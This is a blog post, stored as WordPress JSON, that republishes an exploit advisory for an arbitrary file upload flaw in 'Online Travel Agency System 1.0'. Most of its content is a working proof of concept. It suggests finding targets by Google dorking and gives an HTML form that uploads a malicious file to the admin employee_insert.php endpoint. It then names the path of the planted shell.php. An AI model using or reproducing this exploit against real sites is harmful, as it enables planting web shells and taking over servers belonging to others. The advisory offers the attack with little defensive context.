{"id":59416,"date":"2024-09-03T19:10:12","date_gmt":"2024-09-03T16:10:12","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181270\/otas10-upload.txt"},"modified":"2024-09-03T19:10:12","modified_gmt":"2024-09-03T16:10:12","slug":"online-travel-agency-system-1-0-arbitrary-file-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/online-travel-agency-system-1-0-arbitrary-file-upload\/","title":{"rendered":"Online Travel Agency System 1.0 Arbitrary File Upload"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Online Travel Agency System v1.0 Remote File Upload Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/www.sourcecodester.com\/online-travel-agency-system-using-php.html |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following html code uploads a executable malicious file remotely .<\/p>\n[+] Go to the line 8.<\/p>\n[+] Set the target site link Save changes and apply . <\/p>\n[+] infected file : http:\/\/127.0.0.1\/php-travel-agency-system-master\/admin\/employee_insert.php.<\/p>\n[+] save code as poc.html .<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html&gt;<br \/>&lt;head&gt;<br \/>&lt;title&gt;Employee Form&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;h2&gt;Employee Form&lt;\/h2&gt;<br \/>&lt;form action=&#8221;http:\/\/127.0.0.1\/php-travel-agency-system-master\/admin\/employee_insert.php&#8221; method=&#8221;post&#8221; enctype=&#8221;multipart\/form-data&#8221;&gt;<br \/>&lt;label for=&#8221;userfile&#8221;&gt;Profile Picture:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; id=&#8221;userfile&#8221; name=&#8221;userfile&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;input type=&#8221;submit&#8221; name=&#8221;employeeform&#8221; value=&#8221;Submit&#8221;&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n[+] http:\/\/127.0.0.1\/php-travel-agency-system-master\/admin\/user\/shell.php<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Online Travel Agency System v1.0 Remote File Upload Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/online-travel-agency-system-using-php.html |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following html code &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59416","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59416","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59416"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59416\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59416"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59416"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59416"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}